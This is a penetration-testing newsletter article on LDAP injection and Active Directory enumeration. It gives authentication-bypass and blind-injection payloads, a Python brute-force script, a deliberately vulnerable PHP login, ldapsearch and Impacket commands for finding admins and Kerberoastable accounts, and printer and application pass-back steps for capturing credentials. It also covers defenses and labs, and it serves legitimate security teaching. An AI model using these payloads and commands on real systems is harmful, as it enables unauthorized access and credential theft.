LDAP Injection: Breaking Active Directory Authentication & Enumeration
19 min read
December 28, 2025
🚧 Site Migration Notice
I've recently migrated this site from Ghost CMS to a new Astro-based frontend. While I've worked hard to ensure everything transferred correctly, some articles may contain formatting errors or broken elements.
If you spot any issues, I'd really appreciate it if you could let me know! Your feedback helps improve the site for everyone.

Table of contents
👋 Introduction
Hey everyone!
This is the last newsletter of 2025. I hope you’re having great holidays with family and friends. Thanks for following along this year!
It’s been a while since I’ve touched Active Directory topics. The last AD-focused issue was Issue 21 on NTLM Relay back in October. Since then we’ve covered XXE, Docker escapes, prototype pollution, file uploads, and more. But I’ve been missing the Windows world.
Here’s the thing: Active Directory is everywhere in corporate environments. Every pentest involves AD in some form. And while Kerberos attacks and NTLM relay get attention, LDAP often flies under the radar.
LDAP (Lightweight Directory Access Protocol) is the backbone of AD. It’s how applications query users, validate groups, and authenticate. Web apps, VPNs, wikis, ticket systems—they all talk to AD via LDAP.
LDAP injection is like SQL injection’s less famous cousin. Same concept: untrusted input gets concatenated into queries, leading to authentication bypass, information disclosure, and privilege escalation. Developers who carefully parameterize SQL queries sometimes forget LDAP can be exploited the same way.
What makes LDAP injection particularly nasty is that LDAP servers contain everything about your target network. User accounts, password hashes, group memberships, GPOs, trust relationships. If you can manipulate LDAP queries, you can extract sensitive data or bypass authentication entirely.
Beyond injection, LDAP is a goldmine for enumeration. Even without vulnerabilities, you can abuse legitimate LDAP queries to map the entire AD structure. We covered basic AD enumeration in Issue 19, but this time we’re going deep on LDAP-specific attacks.
We’ll also cover pass-back attacks—a clever trick where you redirect LDAP authentication to a server you control, capturing credentials in plaintext. This works against network devices, printers, and enterprise applications.
What we’ll cover:
- LDAP fundamentals and query syntax
- Classic and blind LDAP injection techniques
- Advanced AD enumeration via LDAP queries
- Pass-back attacks for credential capture
- Defense strategies and hands-on labs
If you’re testing corporate networks or auditing enterprise applications with LDAP authentication, this is essential knowledge.
Let’s break some directories 👇
🗂️ LDAP Fundamentals
Before we start breaking LDAP, let’s talk about what it is and how it works. If you’re already comfortable with LDAP syntax, skip ahead. But if LDAP queries look like cryptic hieroglyphs, this section is for you.
What is LDAP?
LDAP (Lightweight Directory Access Protocol) is a protocol for accessing and maintaining directory services. Think of it like a phone book for your network. It stores information about users, computers, groups, and other resources in a hierarchical tree structure.
Active Directory uses LDAP as its primary query protocol. When you run net user /domain on Windows, that’s an LDAP query under the hood. When a web app checks if a user belongs to the “Admins” group, that’s LDAP. When you authenticate to a VPN using your domain credentials, that’s LDAP.
LDAP runs on TCP port 389 (unencrypted) or 636 (LDAPS, encrypted with TLS). In AD environments, Domain Controllers listen on both ports.
LDAP Directory Structure
LDAP data is organized in a tree called the Directory Information Tree (DIT). The tree is made up of entries, and each entry has a Distinguished Name (DN) that uniquely identifies it.
Example DN:
CN=John Doe,OU=Users,OU=Corporate,DC=example,DC=com
Breaking it down:
- CN (Common Name):
John Doe - OU (Organizational Unit):
Users(insideCorporate) - DC (Domain Component):
example.com
This DN represents a user object named “John Doe” in the “Users” OU of the “Corporate” OU in the example.com domain.
LDAP Queries and Filters
LDAP queries use search filters to find entries. Filters are written in a specific syntax with parentheses and logical operators.
Basic filter examples:
Find all users:
(objectClass=user)
Find a specific user by username:
(sAMAccountName=jdoe)
Find users in a specific group:
(memberOf=CN=Domain Admins,CN=Users,DC=example,DC=com)
Logical operators:
AND (&):
(&(objectClass=user)(sAMAccountName=jdoe))
OR (|):
(|(sAMAccountName=jdoe)(sAMAccountName=admin))
NOT (!):
(&(objectClass=user)(!(userAccountControl:1.2.840.113556.1.4.803:=2)))
(This finds enabled user accounts by filtering out disabled ones)
LDAP Attributes
Every LDAP entry has attributes. In Active Directory, user objects have attributes like:
- sAMAccountName: Username (e.g.,
jdoe) - userPrincipalName: Email-style login (e.g.,
[email protected]) - memberOf: Groups the user belongs to
- userAccountControl: Account flags (disabled, locked, password expired, etc.)
- pwdLastSet: When password was last changed
- adminCount: If set to 1, user is/was a privileged account
- servicePrincipalName: SPNs for Kerberoasting (covered in Issue 2)
These attributes are what attackers extract during enumeration and what applications query during authentication.
Authentication via LDAP
Here’s how LDAP authentication typically works:
- User submits username and password to an application
- Application constructs an LDAP query to find the user:
(&(objectClass=user)(sAMAccountName=USERNAME)) - If found, application attempts an LDAP bind operation with the user’s DN and password
- If bind succeeds, authentication is successful
This is where LDAP injection comes in. If the application doesn’t sanitize USERNAME, an attacker can manipulate the filter to bypass authentication or extract information.
🔓 LDAP Injection: Authentication Bypass
LDAP injection works like SQL injection. If user input is concatenated directly into LDAP filters without sanitization, attackers can modify the query logic.
Classic Authentication Bypass
Let’s say an application uses this LDAP filter for authentication:
(&(objectClass=user)(sAMAccountName=USERNAME)(userPassword=PASSWORD))
The application expects:
- Username:
jdoe - Password:
SecureP@ss123
Resulting filter:
(&(objectClass=user)(sAMAccountName=jdoe)(userPassword=SecureP@ss123))
But what if the attacker provides:
- Username:
jdoe)(&)) - Password:
anything
The filter becomes:
(&(objectClass=user)(sAMAccountName=jdoe)(&))(userPassword=anything))
Breaking this down:
(&(objectClass=user)(sAMAccountName=jdoe)(&))- This is always TRUE(userPassword=anything))- This is orphaned and ignored
The query returns the user jdoe without validating the password. Authentication bypassed.
Example: Login Bypass
Imagine a web application with this vulnerable PHP code:
<?php
$username = $_POST['username'];
$password = $_POST['password'];
// VULNERABILITY: Direct concatenation without sanitization
$filter = "(&(objectClass=user)(uid=$username)(userPassword=$password))";
$ldap = ldap_connect("ldap://dc.example.com");
$bind = ldap_bind($ldap, "cn=admin,dc=example,dc=com", "admin_password");
$search = ldap_search($ldap, "dc=example,dc=com", $filter);
$entries = ldap_get_entries($ldap, $search);
if ($entries['count'] > 0) {
echo "Login successful!";
} else {
echo "Invalid credentials.";
}
?>
Attack payload:
Username: admin)(&))
Password: (leave empty or anything)
The resulting filter:
(&(objectClass=user)(uid=admin)(&))(userPassword=))
The application searches for any user with uid=admin and the (&) (always true) condition makes the filter match. Password check is bypassed.
Wildcards for Enumeration
LDAP supports wildcards (*). This is useful for enumeration even when you can’t bypass authentication directly.
Example: Extracting usernames
If you control the username field and the app returns different responses for valid vs invalid users, you can enumerate accounts:
Username: a*
Result: Returns users starting with ‘a’
Username: admin*
Result: Returns users starting with ‘admin’
You can brute-force character by character:
a*→ success →aa*,ab*,ac*→ad*→ success →adm*→ success →admin→ found
OR Injection for Privilege Escalation
If you can inject an OR condition, you can match additional users beyond your own account.
Example:
Imagine the app searches for:
(&(objectClass=user)(sAMAccountName=USERNAME)(memberOf=CN=Standard Users,DC=example,DC=com))
This restricts login to members of “Standard Users” group.
Attack payload:
Username: attacker)(|(memberOf=CN=Domain Admins,DC=example,DC=com))(&(sAMAccountName=
Resulting filter:
(&(objectClass=user)(sAMAccountName=attacker)(|(memberOf=CN=Domain Admins,DC=example,DC=com))(&(sAMAccountName=)(memberOf=CN=Standard Users,DC=example,DC=com))
This modifies the logic to:
- Find users named
attackerOR users inDomain Admins
If the application doesn’t validate group membership server-side, you might escalate privileges.
🕵️ Blind LDAP Injection
Sometimes you can inject into LDAP queries but can’t see the results directly. The application doesn’t display query output, but you can infer information based on timing, errors, or boolean responses (login success vs failure).
This is blind LDAP injection, analogous to blind SQL injection.
Boolean-Based Blind LDAP Injection
If the application behaves differently when a query matches vs doesn’t match, you can extract data one bit at a time.
Scenario:
The app shows “User exists” or “User not found” based on LDAP query results, but doesn’t show the actual data.
Attack technique:
Extract the admin password hash character by character using wildcards.
Example:
Assume the LDAP filter is:
(sAMAccountName=USERNAME)
Payload 1:
(sAMAccountName=admin)(userPassword=a*)
If response is “User exists”, the password starts with a. If not, try b*, c*, etc.
Payload 2:
(sAMAccountName=admin)(userPassword=ab*)
Continue brute-forcing character by character.
Time-Based Blind LDAP Injection
Some LDAP servers (especially AD) have performance differences based on query complexity. By injecting filters that cause the server to process large result sets, you can infer information based on response time.
This is less reliable than boolean-based attacks but can work when you have no other feedback.
Example:
Inject a filter that matches all users:
(sAMAccountName=*)(objectClass=user)
If this causes a delay compared to a filter that matches no users, you can infer the query executed.
Extracting Information with Blind Injection
Let’s say you want to extract the description attribute of the admin user.
Filter construction:
(&(sAMAccountName=admin)(description=A*))
If the response indicates success (login works, or “user found”), the description starts with ‘A’. If not, try ‘B’, ‘C’, etc.
Once you find the first character, move to the second:
(&(sAMAccountName=admin)(description=Aa*))
(&(sAMAccountName=admin)(description=Ab*))
This is tedious, but scriptable.
Tools for Blind LDAP Injection
Manual exploitation is slow. Automate it with scripts.
Python Example (Boolean-Based):
import requests
import string
# Characters to test (alphanumeric + special chars)
charset = string.ascii_letters + string.digits + "_-@."
def test_char(known, char):
payload = f"admin)(description={known}{char}*"
response = requests.post("https://target.com/login", data={
"username": payload,
"password": "anything"
})
# Adjust based on application response
return "User exists" in response.text
def extract_description():
known = ""
while True:
found = False
for char in charset:
if test_char(known, char):
known += char
print(f"[+] Found: {known}")
found = True
break
if not found:
break
return known
admin_description = extract_description()
print(f"[+] Admin description: {admin_description}")
This script brute-forces the description attribute character by character.
🔍 Advanced AD Enumeration via LDAP
Even without injection vulnerabilities, you can abuse legitimate LDAP queries to map Active Directory. If you have valid domain credentials (even low-privilege), you can query LDAP for sensitive information.
This goes beyond basic enumeration (covered in Issue 19) and focuses on LDAP-specific techniques.
Authenticated LDAP Queries
Once you have credentials (via phishing, password spraying, or compromising a workstation), you can bind to LDAP and run queries.
Using ldapsearch (Linux):
ldapsearch -x -H ldap://dc.example.com -D "CN=John Doe,CN=Users,DC=example,DC=com" -w 'password' -b "DC=example,DC=com" "(objectClass=user)"
Flags:
-x: Simple authentication-H: LDAP server-D: Bind DN (your user)-w: Password-b: Base DN (search root)- Filter:
(objectClass=user)
This dumps all user objects in the domain.
Enumerating High-Value Targets
Find Domain Admins:
ldapsearch -x -H ldap://dc.example.com -D "CN=John Doe,CN=Users,DC=example,DC=com" -w 'password' -b "DC=example,DC=com" "(memberOf=CN=Domain Admins,CN=Users,DC=example,DC=com)" sAMAccountName
This lists all members of the “Domain Admins” group.
Find users with adminCount=1:
ldapsearch -x -H ldap://dc.example.com -D "CN=John Doe,CN=Users,DC=example,DC=com" -w 'password' -b "DC=example,DC=com" "(adminCount=1)" sAMAccountName
Users with adminCount=1 are (or were) members of protected groups like Domain Admins, Enterprise Admins, or Administrators. Even if they’re no longer in those groups, they often retain elevated privileges due to misconfigured ACLs.
Find accounts with SPNs (Kerberoastable):
ldapsearch -x -H ldap://dc.example.com -D "CN=John Doe,CN=Users,DC=example,DC=com" -w 'password' -b "DC=example,DC=com" "(&(objectClass=user)(servicePrincipalName=*))" sAMAccountName servicePrincipalName
This identifies accounts vulnerable to Kerberoasting (covered in Issue 2).
Find computers:
ldapsearch -x -H ldap://dc.example.com -D "CN=John Doe,CN=Users,DC=example,DC=com" -w 'password' -b "DC=example,DC=com" "(objectClass=computer)" dNSHostName operatingSystem
This lists all domain-joined computers with their OS version (useful for targeting outdated systems).
Extracting Password Policy
LDAP can reveal the domain password policy without privileged access:
ldapsearch -x -H ldap://dc.example.com -D "CN=John Doe,CN=Users,DC=example,DC=com" -w 'password' -b "DC=example,DC=com" "(objectClass=domain)" minPwdLength maxPwdAge lockoutThreshold
Attributes:
minPwdLength: Minimum password lengthmaxPwdAge: Password expiration timelockoutThreshold: Failed login attempts before lockout
This tells you how complex passwords need to be and helps avoid account lockouts during password spraying.
Finding Privileged Groups
Besides “Domain Admins”, there are other high-value groups:
ldapsearch -x -H ldap://dc.example.com -D "CN=John Doe,CN=Users,DC=example,DC=com" -w 'password' -b "DC=example,DC=com" "(|(cn=Enterprise Admins)(cn=Schema Admins)(cn=Account Operators)(cn=Backup Operators))" member
This lists members of multiple privileged groups in one query.
Identifying Delegation
Unconstrained Delegation (very dangerous):
ldapsearch -x -H ldap://dc.example.com -D "CN=John Doe,CN=Users,DC=example,DC=com" -w 'password' -b "DC=example,DC=com" "(&(objectClass=computer)(userAccountControl:1.2.840.113556.1.4.803:=524288))" dNSHostName
Computers with unconstrained delegation can impersonate any user. If you compromise one of these systems, you can capture TGTs and impersonate domain admins.
Constrained Delegation:
ldapsearch -x -H ldap://dc.example.com -D "CN=John Doe,CN=Users,DC=example,DC=com" -w 'password' -b "DC=example,DC=com" "(msDS-AllowedToDelegateTo=*)" sAMAccountName msDS-AllowedToDelegateTo
This finds accounts with constrained delegation configured.
Extracting Descriptions and Comments
Admins sometimes put sensitive info in user descriptions:
ldapsearch -x -H ldap://dc.example.com -D "CN=John Doe,CN=Users,DC=example,DC=com" -w 'password' -b "DC=example,DC=com" "(objectClass=user)" sAMAccountName description
Look for things like:
- “Default password: Summer2024”
- “Backup account - pwd never expires”
- “Service account for SQL - check vault”
I’ve seen this more times than I care to admit.
Scripting LDAP Enumeration
Manual queries are tedious. Automate with ldapdomaindump:
ldapdomaindump -u 'example.com\jdoe' -p 'password' dc.example.com -o /tmp/ldap_dump
This creates HTML and JSON files with:
- Users
- Groups
- Computers
- Trusts
- GPOs
It’s like running all the queries above in one command.
🎣 Pass-Back Attacks
Pass-back attacks exploit devices and applications that support LDAP authentication. The idea: change the LDAP server configuration to point to an attacker-controlled server, then trigger an authentication attempt. The device sends credentials to your server instead of the real LDAP server.
This works against:
- Network printers with LDAP/SMB authentication
- Enterprise applications (wikis, ticketing systems)
- Network devices (routers, switches with LDAP auth)
- Embedded systems with LDAP configuration
How It Works
- Access the device’s configuration (web interface, SNMP, default creds)
- Change LDAP server address to your IP
- Trigger authentication (print a test page, login attempt, etc.)
- Device sends credentials to your fake LDAP server
- Capture plaintext credentials
Example: Printer Pass-Back
Many network printers support “Scan to Folder” features that authenticate to network shares via LDAP.
Attack steps:
- Access printer web interface (often no password, or default
admin/admin) - Navigate to LDAP/Network settings
- Change LDAP server to attacker IP:
10.10.14.5 - Leave credentials fields as-is (they contain service account creds)
- Save and trigger a scan
The printer attempts to authenticate to your IP with the configured credentials.
Capture with Responder:
sudo responder -I eth0 -v
Responder listens for LDAP, SMB, HTTP authentication attempts and captures credentials.
Or set up a fake LDAP server:
# Simple LDAP server that logs authentication attempts
sudo apt install slapd
Configure slapd to log bind attempts, or use a Python script:
from ldap3 import Server, Connection, ALL
def fake_ldap_server():
server = Server('0.0.0.0', port=389, get_info=ALL)
# Log incoming bind attempts
# (Simplified - real implementation needs socket handling)
print("[+] Fake LDAP server listening on port 389")
fake_ldap_server()
Example: Application Pass-Back
Many enterprise apps (Jira, Confluence, GitLab, etc.) support LDAP authentication.
If you compromise an admin account on the app (or find default creds), you can:
- Navigate to LDAP configuration
- Change LDAP server to your IP
- Change LDAP bind DN to a high-privilege account (e.g.,
CN=ldapbind,CN=Users,DC=example,DC=com) - Leave password field populated (app stores it)
- Save settings
- Trigger LDAP sync or test connection
The app sends the bind credentials to your server.
Defensive Considerations
Why does this work?
- Devices store credentials in plaintext or reversible encryption
- LDAP authentication uses plaintext passwords during bind (unless LDAPS)
- Many devices trust network configuration without validation
Mitigations:
- Use LDAPS (LDAP over TLS) to encrypt credentials in transit
- Restrict access to device configuration interfaces
- Use least-privilege service accounts for LDAP binds
- Monitor for LDAP authentication to external IPs
🛠️ Tools for LDAP Exploitation
Here are the essential tools for LDAP injection and enumeration:
Enumeration Tools
ldapsearch (Built-in on Linux)
ldapsearch -x -H ldap://dc.example.com -D "[email protected]" -w 'password' -b "DC=example,DC=com" "(objectClass=user)"
ldapdomaindump (Automated enumeration)
pip install ldapdomaindump
ldapdomaindump -u 'example.com\user' -p 'password' dc.example.com
Windapsearch (Windows-focused LDAP queries)
python3 windapsearch.py -d example.com -u user -p password --dc-ip 10.10.10.10 -m users
Options:
-m users: Enumerate users-m groups: Enumerate groups-m computers: Enumerate computers-m privileged-users: Find admin accounts
BloodHound (Graph-based AD analysis)
While BloodHound uses multiple protocols (LDAP, SMB, etc.), it heavily relies on LDAP for enumeration.
bloodhound-python -u user -p password -d example.com -dc dc.example.com -c all
Import JSON files into BloodHound GUI to visualize attack paths.
Credential Capture
Responder (LLMNR/NBT-NS/LDAP poisoning)
sudo responder -I eth0 -v
Captures authentication attempts including LDAP.
Impacket (Python SMB/LDAP tools)
# LDAP enumeration
python3 GetADUsers.py -all example.com/user:password -dc-ip 10.10.10.10
# Kerberoasting via LDAP
python3 GetUserSPNs.py example.com/user:password -dc-ip 10.10.10.10 -request
Custom Scripts
For blind LDAP injection, write custom Python scripts using ldap3:
from ldap3 import Server, Connection, ALL
server = Server('dc.example.com', get_info=ALL)
conn = Connection(server, user='example.com\\user', password='password', auto_bind=True)
# Custom LDAP query
conn.search('DC=example,DC=com', '(sAMAccountName=admin)', attributes=['description'])
for entry in conn.entries:
print(entry)
🛡️ Defense and Mitigations
LDAP injection and enumeration abuse are preventable. Here’s how to defend against these attacks:
Preventing LDAP Injection
1. Use Parameterized Queries
Never concatenate user input into LDAP filters. Use parameterized queries or library functions that handle escaping.
Bad (Vulnerable):
$filter = "(&(objectClass=user)(uid=$username))";
Good (Secure):
// Use ldap_escape() in PHP
$username = ldap_escape($_POST['username'], "", LDAP_ESCAPE_FILTER);
$filter = "(&(objectClass=user)(uid=$username))";
2. Input Validation
Restrict input to expected characters. For usernames, allow only alphanumeric and limited special characters:
import re
def validate_username(username):
if not re.match(r'^[a-zA-Z0-9._-]+$', username):
raise ValueError("Invalid username")
return username
3. Escape Special Characters
Escape LDAP special characters: * ( ) \ NUL
Most LDAP libraries provide escaping functions:
- PHP:
ldap_escape() - Python (ldap3): Use parameterized searches
- Java:
LdapName.escapeAttributeValue()
Hardening LDAP Configuration
1. Use LDAPS (LDAP over TLS)
Always encrypt LDAP traffic to prevent credential interception:
# Force LDAPS on Domain Controllers
# Disable LDAP on port 389, require port 636 only
2. Require Signing and Channel Binding
Enable LDAP signing to prevent tampering and relay attacks:
Computer Configuration → Policies → Windows Settings → Security Settings → Local Policies → Security Options
→ Domain controller: LDAP server signing requirements → Require signing
3. Restrict Anonymous LDAP Binds
Disable anonymous access to LDAP:
Computer Configuration → Policies → Windows Settings → Security Settings → Local Policies → Security Options
→ Network access: Allow anonymous SID/Name translation → Disabled
4. Limit LDAP Query Results
Configure query result size limits to prevent large enumeration dumps:
MaxPageSize = 1000 # Limit results per query
Monitoring and Detection
1. Log LDAP Authentication Failures
Enable Event ID 2889 (LDAP signing not required) and 2887 (unsigned LDAP binds):
# Enable LDAP diagnostic logging
reg add "HKLM\System\CurrentControlSet\Services\NTDS\Diagnostics" /v "16 LDAP Interface Events" /t REG_DWORD /d 2
2. Monitor for LDAP Enumeration
Alert on:
- Large numbers of LDAP queries from a single source
- Queries for sensitive attributes (
adminCount,memberOf,servicePrincipalName) - LDAP binds from external IPs (pass-back attacks)
3. Honeypot Accounts
Create fake high-privilege accounts with monitoring:
New-ADUser -Name "admin_backup" -Description "Honeypot account" -Enabled $true
Alert when this account is queried or authentication is attempted.
🧪 Labs and Practice
Here are resources to practice LDAP injection and AD enumeration:
Vulnerable Applications
bWAPP (Buggy Web Application) Includes LDAP Injection (Search) module under A1 - Injection category. http://www.itsecgames.com/
PentesterLab LDAP Exercises Two dedicated exercises: LDAP 01 (NULL Bind) and LDAP 02 (Injection exploitation). Part of the Essential Badge. https://pentesterlab.com/exercises/ldap_01 https://pentesterlab.com/exercises/ldap_02
Active Directory Labs
HackTheBox Machines with LDAP enumeration and exploitation:
- Forest (Easy): LDAP enumeration, AS-REP Roasting
- Sauna (Easy): LDAP enumeration, Kerberoasting
- Resolute (Medium): LDAP enumeration, privilege escalation
TryHackMe LDAP Injection room (Premium): https://tryhackme.com/r/room/ldapinjection
Active Directory Basics room: https://tryhackme.com/room/winadbasics
Attacktive Directory room: https://tryhackme.com/room/attacktivedirectory
HackTheBox Academy Injection Attacks course (includes LDAP injection module): https://academy.hackthebox.com/course/preview/injection-attacks
Build Your Own Lab
Set up a local AD lab with vulnerable LDAP configurations:
Requirements:
- Windows Server (Domain Controller)
- Windows 10/11 (Domain-joined workstation)
- Kali Linux (Attacker machine)
Setup steps:
- Install Windows Server and promote to DC
- Create users, groups, and apply weak LDAP configurations
- Deploy a vulnerable web app with LDAP authentication (or use DVWA)
- Practice enumeration with
ldapsearch,ldapdomaindump,BloodHound - Test LDAP injection payloads
Automation:
Use GOAD (Game of Active Directory) for automated vulnerable AD lab deployment:
git clone https://github.com/Orange-Cyberdefense/GOAD
cd GOAD
vagrant up
This creates a multi-domain AD forest with intentional misconfigurations.
Recommended Reading
HackTricks - LDAP Injection Comprehensive guide on LDAP injection techniques and blind LDAP exploitation. https://book.hacktricks.xyz/pentesting-web/ldap-injection
HackTricks - Pentesting LDAP Guide on pentesting LDAP services (ports 389, 636, 3268, 3269). https://book.hacktricks.xyz/network-services-pentesting/pentesting-ldap
OWASP - LDAP Injection Overview of LDAP injection attacks and exploitation techniques. https://owasp.org/www-community/attacks/LDAP_Injection
OWASP - LDAP Injection Prevention Cheat Sheet Best practices for preventing LDAP injection vulnerabilities. https://cheatsheetseries.owasp.org/cheatsheets/LDAP_Injection_Prevention_Cheat_Sheet.html
OWASP Testing Guide - LDAP Injection Testing methodology for identifying LDAP injection vulnerabilities. https://owasp.org/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/07-Input_Validation_Testing/06-Testing_for_LDAP_Injection
Active Directory Security Blog (ADSecurity.org) In-depth Active Directory security research and attack techniques. https://adsecurity.org/
🎯 Wrapping Up
LDAP injection is one of those vulnerabilities that’s less talked about than SQL injection or XSS, but just as dangerous when you find it. It can lead to authentication bypass, information disclosure, and privilege escalation in one shot. And because LDAP is the backbone of Active Directory, the impact is often domain-wide.
Beyond injection, LDAP enumeration with valid credentials is a goldmine. You can map the entire domain, identify privilege escalation paths, and find high-value targets, all through legitimate LDAP queries. Pass-back attacks add another layer, turning LDAP configuration access into credential harvesting.
The key takeaways:
For attackers:
- Test LDAP authentication fields for injection with
*,)(, and logical operators - Use blind injection techniques when direct output isn’t visible
- Enumerate AD via LDAP with tools like
ldapsearch,ldapdomaindump, andBloodHound - Look for pass-back opportunities in printers, apps, and network devices
For defenders:
- Parameterize LDAP queries and escape user input
- Use LDAPS to encrypt credentials in transit
- Restrict anonymous LDAP binds and enforce signing
- Monitor for large-scale LDAP enumeration and authentication to external IPs
- Deploy honeypot accounts to detect enumeration attempts
If you’re pentesting corporate environments, LDAP should be on your checklist alongside Kerberos and NTLM attacks. It’s often overlooked, which makes it a perfect target.
Next issue, we’ll likely shift back to web or cloud topics. But for now, go break some directories.
Until next time, Ruben
Chapters
Previous Issue